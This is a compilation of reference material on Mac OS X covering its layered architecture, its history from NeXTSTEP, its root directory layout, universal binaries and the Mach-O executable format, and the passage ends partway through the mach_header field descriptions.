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MacOS Architecture 

Mac OS X Architecture and Terminology 

Understanding the architecture and terminology of Mac OS X is important to be able to use 
it effectively. 

Functionally, the Mac OS X architecture consists of several layers that are often shown 
graphically as in Figure 1.1. The base level of the operating system is its Unix core, which 
is called Darwin. Moving "up" through the layers, the next layer is the graphics subsystem, 
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which consists of three parts: Quartz, OpenGL, and QuickTime. Then comes the 
application layer, which has four components, those being Classic, Carbon, Cocoa, and 
Java. Finally, the top layer is the user interface, which is called Aqua. 

Figure 1.1. You can think of Mac OS X being composed of four layers; the bottom layer 

provides the core OS services, whereas each layer toward the top provides services that are 

"closer" to the user. 

 

The Core OS: Darwin 

Mac OS X is built on a Unix core; the Darwin core is based on the Berkeley Software 
Distribution (BSD) version of Unix. The heart of the Darwin core is called Mach. This part of 
the operating system performs the fundamental tasks, such as data flow into and from the 
CPU, memory use, and so on. Mach's major features include the following: 

• Protected memory? Mach provides a separate memory area in which each 
application can run. It ensures that each application remains in its own memory 
space and so does not affect other applications. Therefore, if a running application 
crashes or hangs, other applications aren't affected. You can safely shut down the 
hung application and continue working in the others. 

In contrast, previous versions of the Mac OS did not have protected memory. When 
one application crashed, it usually took down others and often the OS itself, which 
resulted in your losing unsaved data in all the applications. Under Mac OS X, only 
the data in the crashing application is at risk. 

• Automatic memory management? Mac OS X manages RAM for you; it 
automatically allocates RAM to applications that need it. Under Mac OS X, you 
don't need to think about how RAM is being used; the OS takes care of it for you (if 
you have ever struggled to manually allocate RAM under OS 9 and earlier, you 
know why not having to do this anymore is a very good thing). 

• Preemptive multitasking? Under Mac OS X (or, more specifically, Mach), the 
operating system controls the processes that the processor is performing to ensure 
that all applications and system services have the resources they need and that the 
processor is used efficiently. This ensures both stability and maximum performance 
for both foreground and background processes. 

This is in contrast to the cooperative multitasking in previous versions of the Mac 
OS. Under that scheme, applications had to fight among themselves for the 



resources they needed. This resulted in instability when applications couldn't get 
the resources they needed and poor performance for those applications that were 
not able to "grab" the system resources they needed (this is why some processes 
stopped when you moved them to the background). 

• Advanced virtual memory? The Mach core uses a virtual memory system that is 
always on. It manages the virtual memory use efficiently so that virtual memory is 
used only as necessary to ensure maximum performance. 

Under previous versions of the Mac OS, you had to control how virtual memory was 
used manually. Because the virtual memory system was not very efficient, you had 
to be careful about when you had it turned on because it would cause the 
performance of some applications to slow to a crawl, even if you had plenty of 
RAM. 

NOTE 
 

Darwin is open source. This means that the code of which Darwin is 

composed is freely available to anyone who wants to use it. A 

programmer can download the Darwin code and modify it. Thus, it is 

possible to provide alternative versions of the Darwin core to change 

and enhance Mac OS X. The Darwin code and documentation can be 

found at http://developer.apple.com/darwin/. 

 

 

Darwin also provides the input/output services for Mac OS X and easily supports three key 
characteristics of modern devices: plug-and-play, hot-swapping, and power management. 

Darwin, through its Virtual File System (VFS) design, supports several file systems under 
Mac OS X, including the following: 

• Mac OS Extended Format? Also known as Hierarchical File System Plus (HFS+), 
this is the default file system under Mac OS X as it has been under the more recent 
versions of the Mac OS (those since Mac OS 8). This file system efficiently 
supports large hard drives by minimizing the smallest size used to store a single 
file. 

NOTE 

 

For version 10.3, Mac OS X also supports the Mac OS Extended 

Journaled format. This enables the OS to track changes that are made 

while they are being made so that the process of recovering from 

errors is much more reliable. You will learn more about this later. 

 

• Mac OS Standard Format? Known as HFS, this was the standard for Mac OS 
versions prior to Mac OS 8. 

• UFS? The standard file system for Unix systems. 

• UDF? The Universal Disk Format, it's used for DVD volumes. 

• ISO 9660? A standard for CD-ROMs. 

Darwin supports many major network file protocols. It supports Apple File Protocol (AFP) 
over IP client, which is the file-sharing protocol for Macs running Mac OS 8 and Mac OS 9. 
Network File System (NFS) client, which is the dominant file-sharing protocol on Unix 

http://developer.apple.com/darwin/


platforms, is also supported. Mac OS X also provides support for Windows-based network 
protocols, meaning you can interact with Windows machines as easily as you can with 
other Macs. 

Mac OS X uses bundles; a bundle is a directory containing a set of files that provide 
services. A bundle contains executable files and all the resources associated with those 
executables; when they are a file package, a bundle can appear as a single file. The three 
types of bundles under Mac OS X are as follows: 

• Applications? Under Mac OS X, applications are provided in bundles. Frequently, 
these bundles are designed as file packages so the user sees only the files with 
which he needs to work, such as the file to launch the application. The rest of the 
application resources might be hidden from the user. This makes installing such 
applications simple. 

• Framework? A framework bundle is similar to an application bundle except that a 
framework provides services that are shared across the OS; frameworks are 
system resources. A framework contains a dynamic shared library, meaning 
different areas of the OS as well as applications can access the services provided 
by that framework. Frameworks are always available to the applications and 
services running in the system. For example, under Mac OS X, QuickTime is a 
framework; applications can access QuickTime services by accessing the 
QuickTime framework. Frameworks are not provided as file packages, so the user 
sees the individual files that make up that framework. 

• Loadable bundle? Loadable bundles are executable code (just like applications) 
available to other applications and the system (similar to frameworks) but must be 
loaded into an application to provide their services. The two main types of loadable 
bundles are plug-ins (such as those used in Web browsers) and palettes (which are 
used in building application interfaces). Loadable bundles can also be presented as 
a package so the user sees and works with only one file. 

NOTE 

Because of its Unix architecture, you will see many more filename extensions under Mac 
OS X than there were under previous versions of the OS. Most of the extensions for files 
you will deal with directly are easily understood (for example, .app is used for 

applications), but others the system uses are not as intuitive. 

 

 

The Graphics Subsystem 

Mac OS X includes an advanced graphics subsystem, which has three main components: 
Quartz Extreme, OpenGL, and QuickTime. 

Quartz Extreme is the name of the part of the graphics subsystem that handles 2D 
graphics. Quartz provides the interface graphics, fonts, and other 2D elements of the 
system, as well as on-the-fly rendering and antialiasing of images. Under Mac OS X, the 
Portable Document Format (PDF) is native to the OS. This means you can create PDF 
versions of any document without using a third-party application, such as Adobe Acrobat 
(to get special features in PDF documents, such as navigation features, you still need to 
use an application that provides those features). You can quickly create a PDF version of 
any document with which you work; that document can be viewed with Acrobat Reader or 
Mac OS X's own Preview application. Quartz Extreme also supports TrueType, Type 1, and 
OpenType fonts and blends 3D and QuickTime content with the 2D content it provides 
directly. 

NOTE 



Antialiasing reduces the pixelated appearance of a graphic to provide smooth edges 
instead of jagged ones. 

 

 

Because of Quartz Extreme, you don't need to install a font-smoothing utility, such as 
Adobe Type Manager, to be able to view and use all sizes of PostScript fonts, as you had 
to do under Mac OS 9 and earlier. 

NOTE 
 

Under version 10.3, the Preview application has been greatly 

improved, especially in terms of speed. The application opens and 

displays PDF and other documents much more quickly than it did 

under previous versions of Mac OS X. 

 

 

The OpenGL component of the graphics subsystem provides 3D graphics support for 3D 
applications. OpenGL is an industry standard that is also used on Windows and Unix 
systems. Because of this, it is easier to create 3D applications for the Mac from those that 
were designed to run on those other operating systems. The Mac OS X implementation of 
OpenGL provides many 3D graphics functions, such as texture mapping, transparency, 
antialiasing, atmospheric effects, other special effects, and more. 

QuickTime provides support for many types of digital media, such as digital video, and is 
the primary enabler of video and audio streaming under Mac OS X. QuickTime enables 
both viewing applications, such as the QuickTime Player, and creative applications, such 
as iMovie, iTunes, and many more. QuickTime is also an industry standard, and QuickTime 
files can be used on Windows and other computer platforms. 

The Application Subsystem 

Mac OS X provides the Classic environment to enable it to run Classic applications. It also 
includes three application development environments: Carbon, Cocoa, and Java 2. 

The Classic environment enables Mac OS X to run applications that were written for 
previous versions of the OS without modification. This provides access to thousands of 
existing applications that will run under Mac OS X. Classic applications run as they do 
under previous versions of the Mac OS; in other words, they do not benefit from the 
advanced features of Mac OS X such as protected memory (Classic applications can be 
affected by other Classic applications, and the Classic environment itself can be affected 
when a Classic application has problems). 

The Carbon environment enables developers to port existing applications to use Carbon 
application program interfaces (APIs); the process of porting a Classic application into the 
Carbon environment is called Carbonizing it. The Carbon environment offers the benefits of 
Darwin for Carbonized applications, such as protected memory and preemptive 
multitasking. Carbonizing an application is significantly less work than creating a new 
application from scratch, which enabled many applications to be delivered near the release 
of Mac OS X. 

The Cocoa environment offers developers a state-of-the-art, object-oriented application 
development environment. Cocoa applications are designed for Mac OS X from the ground 
up and take the most advantage of Mac OS X services and benefits. Most of the 
applications included with Mac OS X are Cocoa versions; as time passes, more and more 
Cocoa applications will become available and will eventually be the dominant type under 
Mac OS X. 



The Java environment enables you to run Java applications, including pure Java 
applications and Java applets. Java applications are widely used on the Web because they 
enable the same set of code to be executed on various platforms. You can also develop 
Java applications under Mac OS X. 

The User Interface 

The Mac OS X user interface, called Aqua, provides Mac OS X's great visual experience as 
well as the tools you use to interact with and customize the interface to suit your 
preferences. From the drop shadows on open windows to the extensive use of color and 
texture to the extremely detailed icons, Aqua provides a user experience that is both 
pleasant and efficient. 

http://etutorials.org/Mac+OS/using+mac+os+x+v10.3+panther/Part+I+Mac+OS+X+Exploring+t
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NeXTSTEP[edit] 
Main article: NeXTSTEP 

NeXTSTEP used a hybrid kernel that combined the Mach 2.5 kernel developed at Carnegie 
Mellon University with subsystems from 4.3BSD. NeXTSTEP also introduced a new 
windowing system based on Display PostScript that intended to achieve 
better WYSIWYG systems by using the same language to draw content on monitors that 
drew content on printers. NeXT also included object-oriented programming tools based on 
the Objective-C language that they had acquired from Stepstone and a collection of 
Frameworks (or Kits) that were intended to speed software development. NeXTSTEP 
originally ran on Motorola's 68k processors, but was later ported to Intel's x86, Hewlett-
Packard's PA-RISC and Sun Microsystems' SPARC processors. Later on, the developer 
tools and frameworks were released, as OpenStep, as a development platform that would 
run on other operating systems. 

Rhapsody[edit] 
Main article: Rhapsody (operating system) 

On February 4, 1997, Apple acquired NeXT and began development of 
the Rhapsody operating system. Rhapsody built on NeXTSTEP, porting the core system to 
the PowerPC architecture and adding a redesigned user interface based on 
the Platinum user interface from Mac OS 8. An emulation layer called Blue Box allowed 
Mac OS applications to run within an actual instance of the Mac OS and an integrated Java 
platform.[1] The Objective-C developer tools and Frameworks were referred to as the Yellow 
Box and also made available separately for Microsoft Windows. The Rhapsody project 
eventually bore the fruit of all Apple's efforts to develop a new generation Mac OS, which 
finally shipped in the form of Mac OS X Server. 
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Mac OS X[edit] 

 

A diagram of the Mac OS X architecture 

At the 1998 Worldwide Developers Conference (WWDC), Apple announced a move that 
was intended as a response to complaints from Macintosh software developers who were 
not happy with the two options (Yellow Box and Blue Box) available in Rhapsody. Mac OS 
X would add another developer API to the existing ones in Rhapsody. Key APIs from 
the Macintosh Toolbox would be implemented in Mac OS X to run directly on the BSD 
layers of the operating system instead of in the emulated Macintosh layer. This modified 
interface, called Carbon, would eliminate approximately 2000 troublesome API calls (of 
about 8000 total) and replace them with calls compatible with a modern OS.[2] 

At the same conference, Apple announced that the Mach side of the kernel had been 
updated with sources from the OSFMK 7.3 (Open Source Foundation Mach Kernel)[3] and 
the BSD side of the kernel had been updated with sources from 
the FreeBSD, NetBSD and OpenBSD projects.[2] They also announced a new driver model 
called I/O Kit, intended to replace the Driver Kit used in NeXTSTEP citing Driver Kit's lack 
of power management and hot-swap capabilities and its lack of automatic configuration 
capability.[4] 

At the 1999 WWDC, Apple revealed Quartz, a new Portable Document Format (PDF) 
based windowing system for the operating system that was not encumbered with licensing 
fees to Adobe like the Display PostScript windowing system of NeXTSTEP. Apple also 
announced that the Yellow Box layer had been renamed Cocoa and began to move away 
from their commitment to providing the Yellow Box on Windows. At this WWDC, Apple also 
showed Mac OS X booting off of a HFS Plus formatted drive for the first time. 

The first public release of Mac OS X released to consumers was a Public Beta released on 
September 13, 2000. 
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Mac OS X Directory Structure explained 

Directory Structures of Mac OS X, 
Examined and Explained 

By default, if you glance in the root of your Mac’s hard disk from Finder, you’ll 

see some unfamiliar sounding directories. The underlying directory structures of 

Mac OS are best revealed by visiting the root directory of the Mac, which many 

Mac users may encounter when they visit their own “Macintosh HD”. 

Going further from the command line, you will see even more root level 

directories if you type the following: 

ls /  

 

Here you will find directories with names like; cores, dev, etc, System, private, 

sbin, tmp, usr, var, etc, opt, net, home, Users, Applications, Volumes, bin, 

network, etc. 

Rather than wonder at the mystery of what all these folders, directories, and 

items mean, let’s examine and detail what these directories are, and what they 

contain, as they are relevant to the Mac operating system. 

In no particular order, here is a table to help with this effort of exploring the base 

system directory structure of Mac OS: 

Directory Description 

/Applications Self explanatory, this is where your Mac’s applications are kept 



/Developer 
The Developer directory appears only if you have installed Apple’s Developer Tools, 

and no surprise, contains developer related tools, documentation, and files. 

/Library 

Shared libraries, files necessary for the operating system to function properly, including 

settings, preferences, and other necessities (note: you also have a Libraries folder in 

your home directory, which holds files specific to that user). 

/Network largely self explanatory, network related devices, servers, libraries, etc 

/System System related files, libraries, preferences, critical for the proper function of Mac OS X 

/Users 
All user accounts on the machine and their accompanying unique files, settings, etc. 

Much like /home in Linux 

/Volumes 
Mounted devices and volumes, either virtual or real, such as hard disks, CD’s, DVD’s, 

DMG mounts, etc 

/ 
Root directory, present on virtually all UNIX based file systems. Parent directory of all 

other files 

/bin 
Essential common binaries, holds files and programs needed to boot the operating 

system and run properly 

/etc 
Machine local system configuration, holds administrative, configuration, and other 

system files 

/dev 
Device files, all files that represent peripheral devices including keyboards, mice, 

trackpads, etc 

/usr 
Second major hierarchy, includes subdirectories that contain information, configuration 

files, and other essentials used by the operating system 

/sbin Essential system binaries, contains utilities for system administration 

/tmp Temporary files, caches, etc 

/var Variable data, contains files whose contents change as the operating system runs 

You may very well find other directories as well, depending on the version of 

Mac OS X you have, and depending on what apps and system adjustments you 

have made. 

Nonetheless you can be sure that if any directory is at the root of Mac OS X, it 

is important, and shouldn’t be messed with at least without detailed knowledge 

of what you’re doing. Never delete, modify, or otherwise alter system files and 

directories on a Mac (at least without knowing exactly what you’re doing and 

why) because doing so can disrupt the operating system and prevent it from 

working as expected. Always back up a Mac before exploring and modifying 

system level directories. 
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Mach-O 
Mach-O, short for Mach object file format, is a file format for executables, object 
code, shared libraries, dynamically-loaded code, and core dumps. It was developed to 
replace the a.out format. 

Mach-O is used by some systems based on the Mach kernel. NeXTSTEP, macOS, 
and iOS are examples of systems that use this format for native executables, libraries and 
object code. 

Mach-O file layout 

Each Mach-O file is made up of one Mach-O header, followed by a series of load 
commands, followed by one or more segments, each of which contains between 0 and 255 
sections. Mach-O uses the REL relocation format to handle references to symbols. When 
looking up symbols Mach-O uses a two-level namespace that encodes each symbol into an 
'object/symbol name' pair that is then linearly searched for, first by the object and then the 
symbol name.[1] 

The basic structure—a list of variable-length "load commands" that reference pages of data 
elsewhere in the file[2]—was also used in the executable file format for Accent.[citation needed] The 
Accent file format was in turn, based on an idea from Spice Lisp 

Minimum OS version 

With the introduction of Mac OS X 10.6 platform the Mach-O file underwent a significant 
modification that causes binaries compiled on a computer running 10.6 or later to be (by 
default) executable only on computers running Mac OS X 10.6 or later. The difference 
stems from load commands that the dynamic linker, in previous Mac OS X versions, does 
not understand. Another significant change to the Mach-O format is the change in how the 
Link Edit tables (found in the __LINKEDIT section) function. In 10.6 these new Link Edit 
tables are compressed by removing unused and unneeded bits of information, however 
Mac OS X 10.5 and earlier cannot read this new Link Edit table format. To make 
backwards-compatible executables, the linker flag "-mmacosx-version-min=" can be used. 

 

Universal binary 
The universal binary format is, in Apple parlance, a format for executable files that run 
natively on either PowerPC or Intel-manufactured IA-32 or Intel 64 or ARM64-
based Macintosh computers. The format originated on NeXTStep as "Multi-Architecture 
Binaries", and the concept is more generally known as a fat binary, as seen on Power 
Macintosh. 

With the release of Mac OS X Snow Leopard, and before that, since the move to 64-
bit architectures in general, some software publishers such as Mozilla[1] have used the term 
"universal" to refer to a fat binary that includes builds for both i386 (32-bit Intel) and x86_64 
systems. The same mechanism that is used to select between the PowerPC or Intel builds 
of an application is also used to select between the 32-bit or 64-bit builds of either 
PowerPC or Intel architectures. 

Apple, however, continued to require native compatibility with both PowerPC and Intel in 
order to grant third-party software publishers permission to use Apple's trademarks related 
to universal binaries.[2] Apple does not specify whether or not such third-party software 
publishers must (or should) bundle separate builds for all architectures. 
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Universal binaries were introduced into Mac OS at the 2005 Apple Worldwide Developers 
Conference as a means to ease the transition from the existing PowerPC architecture to 
systems based on Intel processors, which began shipping in 2006. Universal binaries 
typically include both PowerPC and x86 versions of a compiled application. The operating 
system detects a universal binary by its header, and executes the appropriate section for 
the architecture in use. This allows the application to run natively on any supported 
architecture, with no negative performance impact beyond an increase in the storage space 
taken up by the larger binary. 

Starting with Mac OS X Snow Leopard, only Intel-based Macs are supported, so software 
that specifically depends upon capabilities present only in Mac OS X 10.6 or newer will only 
run on Intel-based Macs and therefore does not require Intel/PPC fat binaries. Additionally, 
starting with OS X Lion, only 64-bit Intel Macs are supported, so software that specifically 
depends on new features in OS X 10.7 or newer will only run on 64-bit processors and 
therefore does not require 32-bit/64-bit fat binaries.[3][4] Fat binaries would only be necessary 
for software that is designed to have backward compatibility with older versions of Mac OS 
X running on older hardware. 

The new Universal 2 binary format was introduced at the 2020 Worldwide Developers 
Conference.[5] Universal 2 allows applications to run on both Intel x86-64-based 
and ARM64-based Macintosh computers, to enable the transition to Apple silicon. 

Motivation[edit] 
There are two general alternative solutions. The first is to simply provide two separate 
binaries, one compiled for the x86 architecture and one for the PowerPC architecture. 
However, this can be confusing to software users unfamiliar with the difference between 
the two, although the confusion can be remedied through improved documentation, or the 
use of hybrid CDs. The other alternative is to rely on emulation of one architecture by a 
system running the other architecture. This approach results in lower performance, and is 
generally regarded an interim solution to be used only until universal binaries or specifically 
compiled binaries are available as with Rosetta. 

Universal binaries are larger than single-platform binaries, because multiple copies of the 
compiled code must be stored. However, because some non-executable resources are 
shared by the two architectures, the size of the resulting universal binary can be, and 
usually is, smaller than the combined sizes of two individual binaries. They also do not 
require extra RAM because only one of those two copies is loaded for execution. 

History 
The concept of a universal binary originated with "Multi-Architecture Binaries" 
in NeXTSTEP, the main architectural foundation of Mac OS X. NeXTSTEP supports 
universal binaries so that one executable image can run on multiple architectures, 
including Motorola's m68k, Intel's x86, Sun Microsystems's SPARC, and Hewlett-
Packard's PA-RISC. NeXTSTEP and macOS use Mach-O archive as the binary format 
underlying the universal binary. 

Apple previously used a similar technique during the transition from 68k processors to 
PowerPC in the mid-1990s. These dual-platform executables are called fat binaries, 
referring to their larger file size. 

Apple's Xcode 2.1 supports the creation of these files, a new feature in that release. A 
simple application developed with processor-independence in mind might require very few 
changes to compile as a universal binary, but a complex application designed to take 
advantage of architecture-specific features might require substantial modification. 
Applications originally built using other development tools might require additional 
modification. These reasons have been given for the delay between the introduction of 
Intel-based Macintosh computers and the availability of third-party applications in universal 
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binary format. Apple's delivery of Intel-based computers several months ahead of their 
previously announced schedule is another factor in this gap. 

Apple's Xcode 2.4 takes the concept of universal binaries even further, by allowing four-
architecture binaries to be created (32- and 64-bit for both Intel and PowerPC), therefore 
allowing a single executable to take full advantage of the CPU capabilities of any Mac OS 
X machine. 

Universal applications 

Many software developers have provided universal binary updates for their products since 
the 2005 WWDC. As of December 2008, Apple's website listed more than 7,500 Universal 
applications.[6] 

On April 16, 2007, Adobe Systems announced the release of Adobe Creative Suite 3, the 
first version of the application suite in the Universal Binary format.[7] 

From 2006 to 2010, many Mac OS X applications were ported to Universal Binary format, 
including QuarkXPress, Apple's own Final Cut Studio, Adobe Creative Suite, Microsoft 
Office 2008, and Shockwave Player with version 11 - after that time most were made Intel-
only apps. Non-Universal 32-bit PowerPC programs will run on Intel Macs running Mac OS 
X 10.4, 10.5, and 10.6 (in most cases), but with non-optimal performance, since they must 
be translated on-the-fly by Rosetta; they will not run on Mac OS X 10.7 Lion and later as 
Rosetta is no longer part of the OS. 

iOS 

Apple has used the same binary format as Universal Binaries for iOS applications by 
default on multiple occasions of architectural co-existence: around 2010 during the armv6-
armv7-armv7s transition and around 2016 during the armv7-arm64 transition. The App 
Store automatically thins the binaries. No trade names were derived for this practice, as it is 
only a concern of the developer.[8] 

https://en.wikipedia.org/wiki/Universal_binary  

OS X ABI Mach-O File Format Reference 
This document describes the structure of the Mach-O (Mach object) file format, which is the 

standard used to store programs and libraries on disk in the Mac app binary interface (ABI). To 

understand how the Xcode tools work with Mach-O files, and to perform low-level debugging 

tasks, you need to understand this information. 

The Mach-O file format provides both intermediate (during the build process) and final (after 

linking the final product) storage of machine code and data. It was designed as a flexible 

replacement for the BSD a.out format, to be used by the compiler and the static linker and to 

contain statically linked executable code at runtime. Features for dynamic linking were added 

as the goals of OS X evolved, resulting in a single file format for both statically linked and 

dynamically linked code. 

Basic Structure 

A Mach-O file contains three major regions (as shown in Figure 1): 

• At the beginning of every Mach-O file is a header structure that identifies the file as a 

Mach-O file. The header also contains other basic file type information, indicates the 

target architecture, and contains flags specifying options that affect the interpretation 

of the rest of the file. 
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• Directly following the header are a series of variable-size load commands that specify 

the layout and linkage characteristics of the file. Among other information, the load 

commands can specify: 

o The initial layout of the file in virtual memory 

o The location of the symbol table (used for dynamic linking) 

o The initial execution state of the main thread of the program 

o The names of shared libraries that contain definitions for the main 

executable’s imported symbols 

• Following the load commands, all Mach-O files contain the data of one or more 

segments. Each segment contains zero or more sections. Each section of a segment 

contains code or data of some particular type. Each segment defines a region of virtual 

memory that the dynamic linker maps into the address space of the process. The exact 

number and layout of segments and sections is specified by the load commands and 

the file type. 

• In user-level fully linked Mach-O files, the last segment is the link edit segment. This 

segment contains the tables of link edit information, such as the symbol table, string 

table, and so forth, used by the dynamic loader to link an executable file or Mach-O 

bundle to its dependent libraries. 

Various tables within a Mach-O file refer to sections by number. Section numbering begins at 1 

(not 0) and continues across segment boundaries. Thus, the first segment in a file may contain 

sections 1 and 2 and the second segment may contain sections 3 and 4. 

When using the Stabs debugging format, the symbol table also holds debugging information. 

When using DWARF, debugging information is stored in the image’s corresponding dSYM file, 

specified by the uuid_command structure. 

Header Structure and Load Commands 

A Mach-O file contains code and data for one architecture. The header structure of a Mach-O 

file specifies the target architecture, which allows the kernel to ensure that, for example, code 

intended for PowerPC-based Macintosh computers is not executed on Intel-based Macintosh 

computers. 

You can group multiple Mach-O files (one for each architecture you want to support) in one 

binary using the format described in Universal Binaries and 32-bit/64-bit PowerPC Binaries. 

Binaries that contain object files for more than one architecture are not Mach-O files. They 

archive one or more Mach-O files. 

Segments and sections are normally accessed by name. Segments, by convention, are named 

using all uppercase letters preceded by two underscores (for example, __TEXT); sections 

should be named using all lowercase letters preceded by two underscores (for 

example, __text). This naming convention is standard, although not required for the tools to 

operate correctly. 

Segments 
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A segment defines a range of bytes in a Mach-O file and the addresses and memory protection 

attributes at which those bytes are mapped into virtual memory when the dynamic linker 

loads the application. As such, segments are always virtual memory page aligned. A segment 

contains zero or more sections. 

Segments that require more memory at runtime than they do at build time can specify a larger 

in-memory size than they actually have on disk. For example, the __PAGEZEROsegment 

generated by the linker for PowerPC executable files has a virtual memory size of one page but 

an on-disk size of 0. Because __PAGEZERO contains no data, there is no need for it to occupy 

any space in the executable file. 

Note: Sections that are to be filled with zeros must always be placed at the end of the 

segment. Otherwise, the standard tools will not be able to successfully manipulate the Mach-O 

file. 

For compactness, an intermediate object file contains only one segment. This segment has no 

name; it contains all the sections destined ultimately for different segments in the final object 

file. The data structure that defines a section contains the name of the segment the section is 

intended for, and the static linker places each section in the final object file accordingly. 

For best performance, segments should be aligned on virtual memory page boundaries—4096 

bytes for PowerPC and x86 processors. To calculate the size of a segment, add up the size of 

each section, then round up the sum to the next virtual memory page boundary (4096 bytes, 

or 4 kilobytes). Using this algorithm, the minimum size of a segment is 4 kilobytes, and 

thereafter it is sized at 4 kilobyte increments. 

The header and load commands are considered part of the first segment of the file for paging 

purposes. In an executable file, this generally means that the headers and load commands live 

at the start of the __TEXT segment because that is the first segment that contains data. 

The __PAGEZERO segment contains no data on disk, so it’s ignored for this purpose. 

These are the segments the standard OS X development tools (contained in the Xcode Tools 

CD) may include in an OS X executable: 

• The static linker creates a __PAGEZERO segment as the first segment of an executable 

file. This segment is located at virtual memory location 0 and has no protection rights 

assigned, the combination of which causes accesses to NULL, a common C 

programming error, to immediately crash. The __PAGEZERO segment is the size of one 

full VM page for the current architecture (for Intel-based and PowerPC-based 

Macintosh computers, this is 4096 bytes or 0x1000 in hexadecimal). Because there is 

no data in the __PAGEZERO segment, it occupies no space in the file (the file size in the 

segment command is 0). 

• The __TEXT segment contains executable code and other read-only data. To allow the 

kernel to map it directly from the executable into sharable memory, the static linker 

sets this segment’s virtual memory permissions to disallow writing. When the segment 

is mapped into memory, it can be shared among all processes interested in its 

contents. (This is primarily used with frameworks, bundles, and shared libraries, but it 

is possible to run multiple copies of the same executable in OS X, and this applies in 

that case as well.) The read-only attribute also means that the pages that make up 

the __TEXT segment never need to be written back to disk. When the kernel needs to 



free up physical memory, it can simply discard one or more __TEXT pages and re-read 

them from disk when they are next needed. 

• The __DATA segment contains writable data. The static linker sets the virtual memory 

permissions of this segment to allow both reading and writing. Because it is writable, 

the __DATA segment of a framework or other shared library is logically copied for each 

process linking with the library. When memory pages such as those making up 

the __DATA segment are readable and writable, the kernel marks them copy-on-write; 

therefore when a process writes to one of these pages, that process receives its own 

private copy of the page. 

• The __OBJC segment contains data used by the Objective-C language runtime support 

library. 

• The __IMPORT segment contains symbol stubs and non-lazy pointers to symbols not 

defined in the executable. This segment is generated only for executables targeted for 

the IA-32 architecture. 

• The __LINKEDIT segment contains raw data used by the dynamic linker, such as 

symbol, string, and relocation table entries. 

Sections 

The __TEXT and __DATA segments may contain a number of standard sections, listed in Table 

1, Table 2, and Table 3. The __OBJC segment contains a number of sections that are private to 

the Objective-C compiler. Note that the static linker and file analysis tools use the section type 

and attributes (instead of the section name) to determine how they should treat the section. 

The section name, type and attributes are explained further in the description of 

the section data type. 

Table 1: The sections of a __TEXT segment 

Segment and section 

name 
Contents 

__TEXT,__text 

Executable machine code. The compiler generally places 

only executable code in this section, no tables or data of 

any sort. 

__TEXT,__cstring 

Constant C strings. A C string is a sequence of non-null 

bytes that ends with a null byte ('\0'). The static linker 

coalesces constant C string values, removing duplicates, 

when building the final product. 

__TEXT,__picsymbol_stub 

Position-independent indirect symbol stubs. See “Position-

Independent Code” in Mach-O Programming Topics for 

more information. 

__TEXT,__symbol_stub 
Indirect symbol stubs. See “Position-Independent Code” 

in Mach-O Programming Topics for more information. 
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Segment and section 

name 
Contents 

__TEXT,__const 

Initialized constant variables. The compiler places all 

nonrelocatable data declared const in this section. (The 

compiler typically places uninitialized constant variables in 

a zero-filled section.) 

__TEXT,__literal4 

4-byte literal values. The compiler places single-precision 

floating point constants in this section. The static linker 

coalesces these values, removing duplicates, when building 

the final product. With some architectures, it’s more 

efficient for the compiler to use immediate load 

instructions rather than adding to this section. 

__TEXT,__literal8 

8-byte literal values. The compiler places double-precision 

floating point constants in this section. The static linker 

coalesces these values, removing duplicates, when building 

the final product. With some architectures, it’s more 

efficient for the compiler to use immediate load 

instructions rather than adding to this section. 

Table 2: The sections of a __DATA segment 

Segment and section 

name 
Contents 

__DATA,__data 
Initialized mutable variables, such as writable C strings and 

data arrays. 

__DATA,__la_symbol_ptr 

Lazy symbol pointers, which are indirect references to 

functions imported from a different file. See “Position-

Independent Code” in Mach-O Programming Topics for 

more information. 

__DATA,__nl_symbol_ptr 

Non-lazy symbol pointers, which are indirect references to 

data items imported from a different file. See “Position-

Independent Code” in Mach-O Programming Topics for 

more information. 

__DATA,__dyld Placeholder section used by the dynamic linker. 

__DATA,__const Initialized relocatable constant variables. 

https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html#//apple_ref/doc/uid/TP40002528
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html#//apple_ref/doc/uid/TP40002528
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html#//apple_ref/doc/uid/TP40002528
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html#//apple_ref/doc/uid/TP40002528


Segment and section 

name 
Contents 

__DATA,__mod_init_func 
Module initialization functions. The C++ compiler places 

static constructors here. 

__DATA,__mod_term_func Module termination functions. 

__DATA,__bss 
Data for uninitialized static variables (for example, static 

int i;). 

__DATA,__common 

Uninitialized imported symbol definitions (for example, int 

i;) located in the global scope (outside of a function 

declaration). 

Table 3: The sections of a __IMPORT segment 

Segment and section 

name 
Contents 

__IMPORT,__jump_table Stubs for calls to functions in a dynamic library. 

__IMPORT,__pointers 
Non-lazy symbol pointers, which are direct references to 

functions imported from a different file. 

Data Types 

Header Data Structure 

mach_header 

Specifies the general attributes of a file. Appears at the beginning of object files targeted to 32-

bit architectures. Declared in /usr/include/mach-o/loader.h. See also mach_header_64. 

Declaration 

struct mach_header { 

   uint32_t magic; 

   cpu_type_t cputype; 

   cpu_subtype_t cpusubtype; 

   uint32_t filetype; 

   uint32_t ncmds; 

   uint32_t sizeofcmds; 

   uint32_t flags; 

}; 



Fields 

magic 

An integer containing a value identifying this file as a 32-bit Mach-O file. Use the 

constant MH_MAGIC if the file is intended for use on a CPU with the same endianness as the 

computer on which the compiler is running. The constant MH_CIGAM can be used when the 

byte ordering scheme of the target machine is the reverse of the host CPU. 

cputype 

An integer indicating the architecture you intend to use the file on. Appropriate values 

include:CPU_TYPE_POWERPC to target PowerPC-based Macintosh 

computersCPU_TYPE_I386 to target the Intel-based Macintosh computers 

cpusubtype 

An integer specifying the exact model of the CPU. To run on all PowerPC or x86 processors 

supported by the OS X kernel, this should be set 

to CPU_SUBTYPE_POWERPC_ALL or CPU_SUBTYPE_I386_ALL. 

filetype 

An integer indicating the usage and alignment of the file. Valid values for this field include: 

• The MH_OBJECT file type is the format used for intermediate object files. It is a very 

compact format containing all its sections in one segment. The compiler and assembler 

usually create one MH_OBJECT file for each source code file. By convention, the file 

name extension for this format is .o. 

• The MH_EXECUTE file type is the format used by standard executable programs. 

• The MH_BUNDLE file type is the type typically used by code that you load at runtime 

(typically called bundles or plug-ins). By convention, the file name extension for this 

format is .bundle. 

• The MH_DYLIB file type is for dynamic shared libraries. It contains some additional 

